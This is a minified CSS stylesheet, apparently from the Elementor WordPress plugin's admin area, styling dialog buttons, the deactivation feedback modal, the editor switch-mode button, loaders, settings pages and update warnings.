.dialog-button.dialog-ok.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover, .e-btn.e-primary.e-btn-txt:focus, #elementor-deactivate-feedback-modal .e-btn.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-btn.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .e-btn.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .e-primary.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus { background: var(--e-a-bg-primary); } .elementor-button.go-pro, .elementor-button.e-accent, .e-btn.go-pro, #elementor-deactivate-feedback-modal .go-pro.dialog-skip, #elementor-deactivate-feedback-modal .go-pro.dialog-submit, .e-btn.e-accent, #elementor-deactivate-feedback-modal .e-accent.dialog-skip, #elementor-deactivate-feedback-modal .e-accent.dialog-submit { background-color: var(--e-a-btn-bg-accent); } .elementor-button.go-pro:hover, .elementor-button.go-pro:focus, .elementor-button.e-accent:hover, .elementor-button.e-accent:focus, .e-btn.go-pro:hover, #elementor-deactivate-feedback-modal .go-pro.dialog-skip:hover, #elementor-deactivate-feedback-modal .go-pro.dialog-submit:hover, .e-btn.go-pro:focus, #elementor-deactivate-feedback-modal .go-pro.dialog-skip:focus, #elementor-deactivate-feedback-modal .go-pro.dialog-submit:focus, .e-btn.e-accent:hover, #elementor-deactivate-feedback-modal .e-accent.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-accent.dialog-submit:hover, .e-btn.e-accent:focus, #elementor-deactivate-feedback-modal .e-accent.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-accent.dialog-submit:focus { background-color: var(--e-a-btn-bg-accent-hover); } .elementor-button.go-pro:active, .elementor-button.e-accent:active, .e-btn.go-pro:active, #elementor-deactivate-feedback-modal .go-pro.dialog-skip:active, #elementor-deactivate-feedback-modal .go-pro.dialog-submit:active, .e-btn.e-accent:active, #elementor-deactivate-feedback-modal .e-accent.dialog-skip:active, #elementor-deactivate-feedback-modal .e-accent.dialog-submit:active { background-color: var(--e-a-btn-bg-accent-active); } .elementor-button.elementor-button-info, .elementor-button.e-info, .e-btn.elementor-button-info, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit, .e-btn.e-info, #elementor-deactivate-feedback-modal .e-info.dialog-skip, #elementor-deactivate-feedback-modal .e-info.dialog-submit { background-color: var(--e-a-btn-bg-info); } .elementor-button.elementor-button-info:hover, .elementor-button.elementor-button-info:focus, .elementor-button.e-info:hover, .elementor-button.e-info:focus, .e-btn.elementor-button-info:hover, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit:hover, .e-btn.elementor-button-info:focus, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit:focus, .e-btn.e-info:hover, #elementor-deactivate-feedback-modal .e-info.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-info.dialog-submit:hover, .e-btn.e-info:focus, #elementor-deactivate-feedback-modal .e-info.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-info.dialog-submit:focus { background-color: var(--e-a-btn-bg-info-hover); } .elementor-button.elementor-button-warning, .elementor-button.e-warning, .e-btn.elementor-button-warning, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit, .e-btn.e-warning, #elementor-deactivate-feedback-modal .e-warning.dialog-skip, #elementor-deactivate-feedback-modal .e-warning.dialog-submit { background-color: var(--e-a-btn-bg-warning); } .elementor-button.elementor-button-warning:hover, .elementor-button.elementor-button-warning:focus, .elementor-button.e-warning:hover, .elementor-button.e-warning:focus, .e-btn.elementor-button-warning:hover, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit:hover, .e-btn.elementor-button-warning:focus, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit:focus, .e-btn.e-warning:hover, #elementor-deactivate-feedback-modal .e-warning.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-warning.dialog-submit:hover, .e-btn.e-warning:focus, #elementor-deactivate-feedback-modal .e-warning.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-warning.dialog-submit:focus { background-color: var(--e-a-btn-bg-warning-hover); } .elementor-button.elementor-button-danger, .elementor-button.e-danger, .e-btn.elementor-button-danger, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit, .e-btn.e-danger, #elementor-deactivate-feedback-modal .e-danger.dialog-skip, #elementor-deactivate-feedback-modal .e-danger.dialog-submit { background-color: var(--e-a-btn-bg-danger); } .elementor-button.elementor-button-danger:hover, .elementor-button.elementor-button-danger:focus, .elementor-button.e-danger:hover, .elementor-button.e-danger:focus, .e-btn.elementor-button-danger:hover, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit:hover, .e-btn.elementor-button-danger:focus, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit:focus, .e-btn.e-danger:hover, #elementor-deactivate-feedback-modal .e-danger.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-danger.dialog-submit:hover, .e-btn.e-danger:focus, #elementor-deactivate-feedback-modal .e-danger.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-danger.dialog-submit:focus { background-color: var(--e-a-btn-bg-danger-hover); } .elementor-button i, .e-btn i, #elementor-deactivate-feedback-modal .dialog-skip i, #elementor-deactivate-feedback-modal .dialog-submit i { margin-inline-end: 5px; } #adminmenu #toplevel_page_elementor div.wp-menu-image:before { content: "\e813"; font-family: eicons; font-size: 18px; margin-block-start: 1px; } #adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"] { font-weight: 600; background-color: #93003f; color: #ffffff; margin: 3px 10px 0; display: block; text-align: center; border-radius: 3px; transition: all 0.3s; } #adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]:hover, #adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]:focus { background-color: #c60055; box-shadow: none; } #adminmenu #menu-posts-elementor_library .wp-menu-image:before { content: "\e8ff"; font-family: eicons; font-size: 18px; } #e-admin-menu__kit-library { color: #5cb85c; } .elementor-plugins-gopro { color: #93003f; font-weight: bold; } .elementor-plugins-gopro:hover, .elementor-plugins-gopro:focus { color: #c60055; } #elementor-switch-mode { margin: 15px 0; } #elementor-switch-mode-button, #elementor-editor-button { outline: none; cursor: pointer; } #elementor-switch-mode-button i, #elementor-editor-button i { margin-inline-end: 3px; font-size: 125%; font-style: normal; } body.elementor-editor-active .elementor-switch-mode-off { display: none; } body.elementor-editor-active #elementor-switch-mode-button { background-color: #f7f7f7; color: #555; border-color: #ccc; box-shadow: 0 1px 0 #ccc !important; text-shadow: unset; } body.elementor-editor-active #elementor-switch-mode-button:hover { background-color: #e9e9e9; } body.elementor-editor-active #elementor-switch-mode-button:active { box-shadow: inset 0 1px 0 #ccc; transform: translateY(1px); } body.elementor-editor-active #postdivrich { display: none !important; } body.elementor-editor-active .block-editor-block-list__layout { display: none; } body.elementor-editor-inactive .elementor-switch-mode-on { display: none; } body.elementor-editor-inactive #elementor-editor { display: none; } body.elementor-editor-active .editor-block-list__layout { display: none; } body.elementor-editor-active .edit-post-layout__content .edit-post-visual-editor { flex-basis: auto; } body.elementor-editor-active #elementor-editor { margin-block-end: 50px; } body.elementor-editor-active .edit-post-text-editor__body .editor-post-text-editor { display: none; } body.elementor-editor-active :is(.is-desktop-preview, .is-tablet-preview, .is-mobile-preview) :is(.editor-styles-wrapper, iframe[name=editor-canvas]) { height: auto !important; padding: 0 !important; flex: 0 !important; } body .block-editor #elementor-switch-mode { margin: 0 15px; } body .block-editor #elementor-switch-mode .button { margin: 2px; height: 33px; font-size: 13px; line-height: 1; } body .block-editor #elementor-switch-mode .button i { padding-inline-end: 5px; } .elementor-button { font-size: 13px; text-decoration: none; padding: 15px 40px; } #elementor-editor { height: 300px; width: 100%; transition: all 0.5s ease; } #elementor-editor .elementor-loader-wrapper { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 300px; display: flex; flex-direction: column; align-items: center; gap: 30px; } #elementor-editor .elementor-loader { border-radius: 50%; padding: 40px; height: 150px; width: 150px; background-color: var(--e-a-bg-active); box-sizing: border-box; box-shadow: 2px 2px 20px 4px rgba(0, 0, 0, 0.02); } #elementor-editor .elementor-loader-boxes { height: 100%; width: 100%; position: relative; } #elementor-editor .elementor-loader-box { position: absolute; background-color: var(--e-a-color-txt-hover); animation: load 1.8s linear infinite; } #elementor-editor .elementor-loader-box:nth-of-type(1) { width: 20%; height: 100%; left: 0; top: 0; } #elementor-editor .elementor-loader-box:not(:nth-of-type(1)) { right: 0; height: 20%; width: 60%; } #elementor-editor .elementor-loader-box:nth-of-type(2) { top: 0; animation-delay: calc(1.8s / 4 * -1); } #elementor-editor .elementor-loader-box:nth-of-type(3) { top: 40%; animation-delay: calc(1.8s / 4 * -2); } #elementor-editor .elementor-loader-box:nth-of-type(4) { bottom: 0; animation-delay: calc(1.8s / 4 * -3); } #elementor-editor .elementor-loading-title { color: var(--e-a-color-txt); text-align: center; text-transform: uppercase; letter-spacing: 7px; text-indent: 7px; font-size: 10px; width: 100%; } #elementor-go-to-edit-page-link { height: 100%; display: flex; justify-content: center; align-items: center; border: 1px solid #DDD; background-color: #F7F7F7; text-decoration: none; position: relative; font-family: Sans-serif; } #elementor-go-to-edit-page-link:hover { background-color: #ffffff; } #elementor-go-to-edit-page-link:focus { box-shadow: none; } #elementor-go-to-edit-page-link.elementor-animate #elementor-editor-button { display: none; } #elementor-go-to-edit-page-link:not(.elementor-animate) .elementor-loader-wrapper { display: none; } .elementor-button-spinner:before { font: normal 20px/0.5 dashicons; speak: none; display: inline-block; padding: 0; inset-block-start: 8px; inset-inline-start: -4px; position: relative; vertical-align: top; content: "\f463"; } .elementor-button-spinner.loading:before { animation: rotation 1s infinite linear; } .elementor-button-spinner.success:before { content: "\f147"; color: #46b450; } .elementor-blank_state { padding: 5em 0; margin: auto; max-width: 520px; text-align: center; font-family: var(--e-a-font-family); } .elementor-blank_state i { font-size: 50px; } .elementor-blank_state h3 { font-size: 32px; font-weight: 300; color: inherit; margin: 20px 0 10px; line-height: 1.2; } .elementor-blank_state p { font-size: 16px; font-weight: normal; margin-block-end: 40px; } .elementor-blank_state .elementor-button { display: inline-block; } #available-widgets [class*=elementor-template] .widget-title:before { content: "\e813"; font-family: eicons; font-size: 17px; } .elementor-settings-form-page { padding-block-start: 30px; } .elementor-settings-form-page:not(.elementor-active) { display: none; } ._elementor_settings_update_time { display: none; } #tab-advanced .form-table tr:not(:last-child), #tab-performance .form-table tr:not(:last-child), #tab-experiments .form-table tr:not(:last-child) { border-block-end: 1px solid #dcdcde; } #tab-advanced .form-table tr .description, #tab-performance .form-table tr .description, #tab-experiments .form-table tr .description { font-size: 0.9em; margin: 10px 0; max-width: 820px; } body.post-type-attachment table.media .column-title .media-icon img[src$=".svg"] { width: 100%; } .e-major-update-warning { margin-block-end: 5px; max-width: 1000px; display: flex; } .e-major-update-warning__separator { margin: 15px -12px; } .e-major-update-warning__icon { font-size: 17px; margin-inline-end: 9px; margin-inline-start: 2px; } .e-major-update-warning__title { font-weight: 600; margin-block-end: 10px; } .e-major-update-warning + p { display: none; } .notice-success .e-major-update-warning__separator { border: 1px solid #46b450; } .notice-success .e-major-update-warning__icon { color: #79ba49; } .notice-warning .e-major-update-warning__separator { border: 1px solid #ffb900; } .notice-warning .e-major-update-warning__icon { color: #f56e28; } .plugins table.e-compatibility-update-table tr { background: transparent; } .plugins table.e-compatibility-update-table tr th { font-weight: 600; } .plugins table.e-compatibility-update-table tr th, .plugins table.e-compatibility-update-table tr td { min-width: 250px; font-size: 13px; background: transparent; box-shadow: none; border: none; padding-block-start: 5px; padding-block-end: 5px; padding-inline-end: 15px; padding-inline-start: 0; } .dialog-widget-content { background-color: var(--e-a-bg-default); position: absolute; border-radius: 3px; box-shadow: 2px 8px 23px 3px rgba(0, 0, 0, 0.2); overflow: hidden; } .dialog-message { line-height: 1.5; box-sizing: border-box; } .dialog-close-button { cursor: pointer; position: absolute; margin-block-start: 15px; inset-inline-end: 15px; color: var(--e-a-color-txt); font-size: 15px; line-height: 1; transition: var(--e-a-transition-hover); } .dialog-close-button:hover { color: var(--e-a-color-txt-hover); } .dialog-prevent-scroll { overflow: hidden; max-height: 100vh; } .dialog-type-lightbox { position: fixed; height: 100%; width: 100%; bottom: 0; left: 0; background-color: rgba(0, 0, 0, 0.8); z-index: 9999; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .elementor-editor-active .elementor-popup-modal { background-color: initial; } .dialog-type-confirm .dialog-widget-content, .dialog-type-alert .dialog-widget-content { margin: auto; width: 400px; padding: 20px; } .dialog-type-confirm .dialog-header, .dialog-type-alert .dialog-header { font-size: 15px; font-weight: 500; } .dialog-type-confirm .dialog-header:after, .dialog-type-alert .dialog-header:after { content: ""; display: block; border-block-end: var(--e-a-border); padding-block-end: 10px; margin-block-end: 10px; margin-inline-start: -20px; margin-inline-end: -20px; } .dialog-type-confirm .dialog-message, .dialog-type-alert .dialog-message { min-height: 50px; } .dialog-type-confirm .dialog-buttons-wrapper, .dialog-type-alert .dialog-buttons-wrapper { padding-block-start: 10px; display: flex; justify-content: flex-end; gap: 15px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button, .dialog-type-alert .dialog-buttons-wrapper .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover { border: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:active { background-color: var(--e-a-btn-bg-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]), .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]) { cursor: pointer; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } 